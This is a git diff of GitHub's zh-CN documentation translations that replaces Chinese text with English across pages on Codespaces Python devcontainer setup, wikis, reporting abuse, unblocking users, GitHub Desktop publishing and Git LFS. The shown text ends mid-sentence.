"python.linting.enabled": true, + "python.linting.pylintEnabled": true, + "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8", + "python.formatting.blackPath": "/usr/local/py-utils/bin/black", + "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf", + "python.linting.banditPath": "/usr/local/py-utils/bin/bandit", + "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8", + "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy", + "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle", + "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle", + "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint" + }, - // Add the IDs of extensions you want installed when the container is created. - "extensions": [ - "ms-python.python", - ], + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "ms-python.python", + ], - // Use 'forwardPorts' to make a list of ports inside the container available locally. - // "forwardPorts": [], + // Use 'forwardPorts' to make a list of ports inside the container available locally. + // "forwardPorts": [], - // Use 'postCreateCommand' to run commands after the container is created. - // "postCreateCommand": "pip3 install --user -r requirements.txt", + // Use 'postCreateCommand' to run commands after the container is created. + // "postCreateCommand": "pip3 install --user -r requirements.txt", - // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. - "remoteUser": "vscode" + // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" } ``` -- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。 -- **Build** - 构建属性。 - - **Dockerfile** - 在构建对象中，`dockerfile` 是对 Dockerfile 的引用，该文件也是从模板中添加的。 +- **Name** - You can name our dev container anything, this is just the default. +- **Build** - The build properties. + - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template. - **Args** - - **Variant**：此文件仅包含一个构建参数，即我们要用于传递到 Dockerfile 的节点变量。 -- **Settings** - 它们是 {% data variables.product.prodname_vscode %} 设置。 - - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。 -- **Extensions** - 它们是默认包含的扩展名。 - - **ms-python.python** - Microsoft Python 扩展为 Python 语言提供丰富的支持（对于所有积极支持的语言版本：>=3.6），包括 IntelliSense、linting、调试、代码导航、代码格式化、重构、变量资源管理器、测试资源管理器等功能。 -- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." -- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间（例如 `pip3 install -r requirements`）后执行任何操作，您可以在此处执行。 -- **remoteUser** - 默认情况下，您以 `vscode` 用户身份运行，但您可以选择将其设置为 `root`。 + - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile. +- **Settings** - These are {% data variables.product.prodname_vscode %} settings. + - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this. +- **Extensions** - These are extensions included by default. + - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more. +- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." +- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `pip3 install -r requirements`, you can do that here. +- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`. #### Dockerfile @@ -153,27 +158,27 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/l # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -您可以使用 Dockerfile 添加其他容器层，以指定要包含在容器中的操作系统包、节点版本或全局包。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container. -## 步骤 3：修改 devcontainer.json 文件 +## Step 3: Modify your devcontainer.json file -添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和项目依赖项。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches. -1. 在 Explorer 中，展开 `.devcontainer` 文件夹，从树中选择 `devcontainer.json` 文件并打开它。 +1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. 更新 `devcontainer.json` 文件中的 `extensions` 列表，以添加一些在处理项目时有用的扩展。 +2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project. ```json{:copy} "extensions": [ - "ms-python.python", - "cstrap.flask-snippets", - "streetsidesoftware.code-spell-checker", - ], + "ms-python.python", + "cstrap.flask-snippets", + "streetsidesoftware.code-spell-checker", + ], ``` -3. 取消注释 `postCreateCommand` 以自动安装要求，作为代码空间设置过程的一部分。 +3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process. ```json{:copy} // Use 'postCreateCommand' to run commands after the container is created. @@ -182,30 +187,30 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/l {% data reusables.codespaces.rebuild-command %} - 在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -5. 通过验证是否安装了 Code Spell Checker 和 Flask Snippet 扩展，检查更改是否成功应用。 +5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed. - ![扩展列表](/assets/images/help/codespaces/python-extensions.png) + ![Extensions list](/assets/images/help/codespaces/python-extensions.png) -## 步骤 4：运行应用程序 +## Step 4: Run your application -在上一节中，您使用 `postCreateCommand` 通过 pip3 安装了一组包。 现已安装您的依赖项，您可以运行应用程序。 +In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application. -1. 通过按 `F5` 或在代码空间终端中输入 `python -m flask run` 来运行您的应用程序。 +1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal. -2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![端口转发信息框](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) -## 步骤 5：提交更改 +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 后续步骤 +## Next steps -现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 Python 项目。 以下是用于更高级场景的一些额外资源。 +You should now be ready start developing your Python project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) -- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md index ec17789911..9d6ac99ff3 100644 --- a/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/translations/zh-CN/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -1,6 +1,6 @@ --- -title: 关于 wikis -intro: 您可以将仓库文档托管在 wiki 中，以便其他人使用和参与您的项目。 +title: About wikis +intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' redirect_from: - /articles/about-github-wikis/ - /articles/about-wikis @@ -15,24 +15,24 @@ topics: - Community --- -{% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的每个仓库都配备了一个托管文档部分，叫做 wiki。 您可以使用仓库的 wiki 共享项目的长内容，例如如何使用项目，您是如何设计项目的，或者其核心原则是什么。 自述文件快速介绍项目的内容，而您可以使用 wiki 提供其他文档。 更多信息请参阅“[关于自述文件](/articles/about-readmes)”。 +Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)." -使用 wiki，可以像在 {% data variables.product.product_name %} 的任何其他位置一样编写内容。 更多信息请参阅“[在 {% data variables.product.prodname_dotcom %} 上编写和设置格式](/articles/getting-started-with-writing-and-formatting-on-github)”。 我们使用[开源标记库](https://github.com/github/markup)将不同的格式转换为 HTML，以便选择使用 Markdown 或任何其他支持的格式编写。 +With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. -{% ifversion fpt or ghes or ghec %}如果您在公共仓库中创建 wiki，则该 wiki 可供{% ifversion ghes %}具有 {% data variables.product.product_location %} 访问权限的任何人{% else %}公共{% endif %}访问。 {% endif %}If you create a wiki in an internal or private repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. 更多信息请参阅“[设置仓库可见性](/articles/setting-repository-visibility)”。 +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." -您可以直接在 {% data variables.product.product_name %} 上编辑 wikis，也可在本地编辑 wiki 文件。 默认情况下，只有能够写入仓库的人才可更改 wikis，但您可以允许 {% data variables.product.product_location %} 上的每个人参与{% ifversion ghae %}内部{% else %}公共{% endif %}仓库中的 wiki。 更多信息请参阅“[更改 wikis 的访问权限](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)”。 +You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". {% note %} -**注意：** 搜索引擎不会对维基的内容编制索引。 要通过搜索引擎对内容编制索引，您可以在公共仓库中使用 [{% data variables.product.prodname_pages %}](/pages) 。 +**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository. {% endnote %} -## 延伸阅读 +## Further reading -- "[添加或编辑 wiki 页面](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" -- "[为 wiki 创建页脚或侧栏](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" -- "[编辑 wiki 内容](/communities/documenting-your-project-with-wikis/editing-wiki-content)" -- "[查看 wiki 的更改记录](/articles/viewing-a-wiki-s-history-of-changes)" -- "[搜索 wikis](/search-github/searching-on-github/searching-wikis)" +- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" +- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" +- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)" +- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)" +- "[Searching wikis](/search-github/searching-on-github/searching-wikis)" diff --git a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md index 1e628d074e..89bcf4cde1 100644 --- a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md +++ b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md @@ -1,6 +1,6 @@ --- -title: 举报滥用或垃圾邮件 -intro: 您可以举报违反社区准则和条款的行为和内容。 +title: Reporting abuse or spam +intro: You can report behavior and content that violates community guidelines and terms. redirect_from: - /articles/reporting-abuse-or-spam - /github/building-a-strong-community/reporting-abuse-or-spam @@ -11,54 +11,59 @@ topics: - Community --- -所有者、协作者、以前的贡献者以及具有写入权限的人员均可举报议题、拉取请求以及对议题、拉取请求和提交的评论。 任何人均可举报 {% data variables.product.prodname_marketplace %} 中的应用程序。 +Owners, collaborators, prior contributors, and people with write access can report issues, pull requests, and comments on issues, pull requests, and commits. Anyone can report apps in {% data variables.product.prodname_marketplace %}. -## 关于举报滥用或垃圾邮件 +## About reporting abuse or spam {% data reusables.policies.github-community-guidelines-and-terms %} -您可以通过 {% data variables.contact.report_abuse %} 或 {% data variables.contact.report_content %} 举报违反了 {% data variables.product.prodname_dotcom %} 社区指导方针或服务条款的用户。 也可以举告议题、拉取请求，或者对议题、拉取请求和提交的评论。 +You can report users that have violated {% data variables.product.prodname_dotcom %}'s Community Guidelines or Terms of Service through {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. You can also report issues, pull requests, or comments on issues, pull requests, and commits. -如果公共仓库启用了举报的内容，您还可以直接向仓库维护员举告内容。 +If reported content is enabled for a public repository, you can also report content directly to repository maintainers. -## 举报用户 +## Reporting a user {% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %} -3. 单击 **Report abuse（举报滥用）**。 ![包含阻止用户或举报滥用选项的模态框](/assets/images/help/profile/profile-report-abuse.png) -4. 填写告知 {% data variables.contact.contact_support %}用户行为的联系表单，然后单击 **Send request（发送请求）**。 +3. Click **Report abuse**. + ![Modal box with options to block user or report abuse](/assets/images/help/profile/profile-report-abuse.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the user's behavior, then click **Send request**. -## 举报议题或拉取请求 +## Reporting an issue or pull request -1. 导航到您想要举报的议题或拉取请求。 -2. 在议题或拉取请求的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}，然后单击 **Report content（举报内容）**。 ![用于报告评论的按钮](/assets/images/help/repository/menu-report-issue-or-pr.png) +1. Navigate to the issue or pull request you'd like to report. +2. In the upper-right corner of the issue or pull request, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, then click **Report content**. + ![Button to report a comment](/assets/images/help/repository/menu-report-issue-or-pr.png) {% data reusables.community.report-content %} -## 举报评论 +## Reporting a comment -1. 导航到您要举报的评论。 -2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}，然后单击 **Report content（举报内容）**。 ![包含报告评论选项的烤肉串式菜单](/assets/images/help/repository/menu-report-comment.png) +1. Navigate to the comment you'd like to report. +2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, then click **Report content**. +![Kebab menu with option to report a comment](/assets/images/help/repository/menu-report-comment.png) {% data reusables.community.report-content %} -## BackHub 可在 {% data variables.product.prodname_marketplace %} 中找到。 +## Reporting an app in {% data variables.product.prodname_marketplace %} {% data reusables.marketplace.visit-marketplace %} -2. 浏览到您要举报的应用程序。 -3. 在左侧边栏中的“Developer links（开发者链接）”部分下，单击 {% octicon "report" aria-label="The report symbol" %} **Report abuse（举报滥用）**。 ![举报 {% data variables.product.prodname_marketplace %} 中应用程序的按钮](/assets/images/help/marketplace/marketplace-report-app.png) -4. 填写告知 {% data variables.contact.contact_support %}应用程序行为的联系表单，然后单击 **Send request（发送请求）**。 +2. Browse to the app you'd like to report. +3. In the left sidebar, under the "Developer links" section, click {% octicon "report" aria-label="The report symbol" %} **Report abuse**. + ![Button to report an app in {% data variables.product.prodname_marketplace %}](/assets/images/help/marketplace/marketplace-report-app.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the app's behavior, then click **Send request**. -## 举报模板选择器中的联系链接滥用 +## Reporting contact link abuse in the template chooser -1. 导航到包含要举报的联系链接的仓库。 -2. 在仓库名称下，单击 {% octicon "issue-opened" aria-label="The issues icon" %} **Issues（议题）**。 -3. 在模板选择器的右下角单击 **Report abuse（举报滥用）**。 ![举报滥用的链接](/assets/images/help/repository/template-chooser-report-abuse.png) -4. 填写联系表单以向 {% data variables.contact.contact_support %} 联系链接的滥用行为，然后单击 **Send request（发送请求）**。 +1. Navigate to the repository that contains the contact link you'd like to report. +2. Under the repository name, click {% octicon "issue-opened" aria-label="The issues icon" %} **Issues**. +3. In the lower-right corner of the template chooser, click **Report abuse**. + ![Link to report an abuse](/assets/images/help/repository/template-chooser-report-abuse.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the contact link's behavior, then click **Send request**. -## 延伸阅读 +## Further reading -- "[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)" -- "[使用模板鼓励有用的议题和拉取请求](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)" -- "[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"{% ifversion fpt or ghec %} -- “[在 {% data variables.product.prodname_dotcom %} 上维护您的安全](/communities/maintaining-your-safety-on-github)” -- "[限制仓库中的交互](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)"{% endif %} -- “[跟踪评论中的更改](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)” +- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)" +- "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)" +- "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"{% ifversion fpt or ghec %} +- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" +- "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)"{% endif %} +- "[Tracking changes in a comment](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)" diff --git a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md index f9c5cb36b4..9d91fc58fd 100644 --- a/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md +++ b/translations/zh-CN/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: 取消阻止用户对组织的访问 -intro: 组织所有者可以取消阻止以前阻止的用户，恢复其对组织仓库的访问权限。 +title: Unblocking a user from your organization +intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.' redirect_from: - /articles/unblocking-a-user-from-your-organization - /github/building-a-strong-community/unblocking-a-user-from-your-organization @@ -9,36 +9,38 @@ versions: ghec: '*' topics: - Community -shortTitle: 从您的组织中解除阻止 +shortTitle: Unblock from your org --- -取消阻止用户对组织的访问后，他们将能够为组织的仓库做出贡献。 +After unblocking a user from your organization, they'll be able to contribute to your organization's repositories. -如果您选择在特定的时间内阻止用户，则该时间段结束后将自动取消阻止用户。 更多信息请参阅“[阻止用户访问组织](/articles/blocking-a-user-from-your-organization)”。 +If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)." {% tip %} -**提示**：您在阻止用户访问组织时删除的任何设置（例如协作者状态、星号和关注），在取消阻止该用户后将不会恢复。 +**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user. {% endtip %} -## 在评论中取消阻止用户 +## Unblocking a user in a comment -1. 导航到您要取消阻止其作者的评论。 -2. 在评论的右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Unblock user（取消阻止用户）**。 ![显示取消阻止用户选项的水平烤肉串图标和评论审核菜单](/assets/images/help/repository/comment-menu-unblock-user.png) -3. 要确认您想要取消阻止用户，请单击 **Okay（确定）**。 +1. Navigate to the comment whose author you would like to unblock. +2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**. +![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png) +3. To confirm you would like to unblock the user, click **Okay**. -## 在组织设置中取消阻止用户 +## Unblocking a user in the organization settings {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -5. 在“Blocked users（已阻止的用户）”下您想要取消阻止的用户旁边，单击 **Unblock（取消阻止）**。 ![取消阻止用户按钮](/assets/images/help/organizations/org-unblock-user-button.png) +{% data reusables.organizations.moderation-settings %} +5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**. +![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png) -## 延伸阅读 +## Further reading -- “[阻止用户访问组织](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)” -- “[阻止用户访问您的个人帐户](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)” -- “[解除阻止用户访问您的个人帐户](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)” -- “[举报滥用或垃圾邮件](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)” +- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)" +- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)" +- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)" +- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" diff --git a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md index 5927086e1e..696c54732e 100644 --- a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md +++ b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md @@ -1,34 +1,41 @@ --- -title: 使用 GitHub Desktop 添加现有项目到 GitHub -intro: '您可以使用 {% data variables.product.prodname_desktop %} 将现有 Git 仓库添加到 {% data variables.product.prodname_dotcom %}。' +title: Adding an existing project to GitHub using GitHub Desktop +intro: 'You can add an existing Git repository to {% data variables.product.prodname_dotcom %} using {% data variables.product.prodname_desktop %}.' redirect_from: - /desktop/contributing-to-projects/adding-an-existing-project-to-github-using-github-desktop - /desktop/contributing-and-collaborating-using-github-desktop/adding-an-existing-project-to-github-using-github-desktop versions: fpt: '*' -shortTitle: 添加现有项目 +shortTitle: Add an existing project --- - {% mac %} {% data reusables.git.remove-git-remote %} -2. [添加仓库到 GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +2. [Add the repository to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). {% data reusables.desktop.publish-repository %} -4. 在 **Name（名称）**字段中键入所需的仓库名称，或者使用默认的当前本地仓库名称。 ![名称字段](/assets/images/help/desktop/publish-repository-name-mac.png) -5. 要发布公共仓库，请取消选择 **Keep this code private（保留此代码为私有）**。 ![保留此代码为私有复选框](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png) -6. 从 **Organization（组织）**下拉菜单中选择要发布仓库到其中的组织，或者选择 **None（无）**以将仓库发布到您的个人帐户。 ![组织下拉菜单](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png) -7. 单击 **Publish Repository（发布仓库）**按钮。 ![“发布仓库”对话框中的“发布仓库”按钮](/assets/images/help/desktop/publish-repository-dialog-button-mac.png) +4. Type the desired name of the repository in the **Name** field or use the default current local repository name. + ![The Name field](/assets/images/help/desktop/publish-repository-name-mac.png) +5. To publish a public repository, unselect **Keep this code private**. + ![Keep this code private checkbox](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png) +6. Choose the organization in the **Organization** drop-down where you want to publish the repository, or select **None** to publish the repository to your personal account. + ![Organization drop-down](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png) +7. Click the **Publish Repository** button. + ![The Publish repository button in the Publish Repository dialog](/assets/images/help/desktop/publish-repository-dialog-button-mac.png) {% endmac %} {% windows %} {% data reusables.git.remove-git-remote %} -2. [添加仓库到 GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +2. [Add the repository to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). {% data reusables.desktop.publish-repository %} -4. 在 **Name（名称）**字段中键入所需的仓库名称，或者使用默认的当前本地仓库名称。 ![名称字段](/assets/images/help/desktop/publish-repository-name-win.png) -5. 要发布公共仓库，请取消选择 **Keep this code private（保留此代码为私有）**。 ![保留此代码为私有复选框](/assets/images/help/desktop/publish-repository-private-checkbox-win.png) -6. 从 **Organization（组织）**下拉菜单中选择要发布仓库到其中的组织，或者选择 **None（无）**以将仓库发布到您的个人帐户。 ![组织下拉菜单](/assets/images/help/desktop/publish-repository-org-dropdown-win.png) -7. 单击 **Publish Repository（发布仓库）**按钮。 ![“发布仓库”对话框中的“发布仓库”按钮](/assets/images/help/desktop/publish-repository-dialog-button-win.png) +4. Type the desired name of the repository in the **Name** field or use the default current local repository name. + ![The Name field](/assets/images/help/desktop/publish-repository-name-win.png) +5. To publish a public repository, unselect **Keep this code private**. + ![Keep this code private checkbox](/assets/images/help/desktop/publish-repository-private-checkbox-win.png) +6. Choose the organization in the **Organization** drop-down where you want to publish the repository, or select **None** to publish the repository to your personal account. + ![Organization drop-down](/assets/images/help/desktop/publish-repository-org-dropdown-win.png) +7. Click the **Publish repository** button. + ![The Publish repository button in the Publish repository dialog](/assets/images/help/desktop/publish-repository-dialog-button-win.png) {% endwindows %} diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md index 021fc3e609..054bcb4e45 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md @@ -1,20 +1,19 @@ --- -title: 关于 Git 大文件存储和 GitHub Desktop -shortTitle: 关于 Git LFS -intro: '{% data variables.product.prodname_desktop %} 包含用于管理大文件的 {% data variables.large_files.product_name_long %}。' +title: About Git Large File Storage and GitHub Desktop +shortTitle: About Git LFS +intro: '{% data variables.product.prodname_desktop %} includes {% data variables.large_files.product_name_long %} for managing large files.' redirect_from: - /desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop - /desktop/installing-and-configuring-github-desktop/about-git-large-file-storage-and-github-desktop versions: fpt: '*' --- +When you install {% data variables.product.prodname_desktop %}, {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) is installed, too. {% data variables.large_files.product_name_short %} lets you push files to {% data variables.product.prodname_dotcom %} that exceed the normal limit of {% data variables.large_files.max_github_size %}. For more information about {% data variables.large_files.product_name_short %}, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage)." -在安装 {% data variables.product.prodname_desktop %} 时， {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) 也会安装。 {% data variables.large_files.product_name_short %} 可让您将文件推送到超出 {% data variables.large_files.max_github_size %} 正常限制的 {% data variables.product.prodname_dotcom %}。 有关 {% data variables.large_files.product_name_short %} 的更多信息，请参阅“[关于 {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage)”。 +To use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}, you must configure {% data variables.large_files.product_name_short %} using the command line. For more information, see "[Configuring {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage)." -要使用 {% data variables.large_files.product_name_short %} 与 {% data variables.product.prodname_desktop %}，您必须使用命令行配置 {% data variables.large_files.product_name_short %}。 更多信息请参阅“[配置 {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage)。” +After you configure {% data variables.large_files.product_name_short %} to track files in a 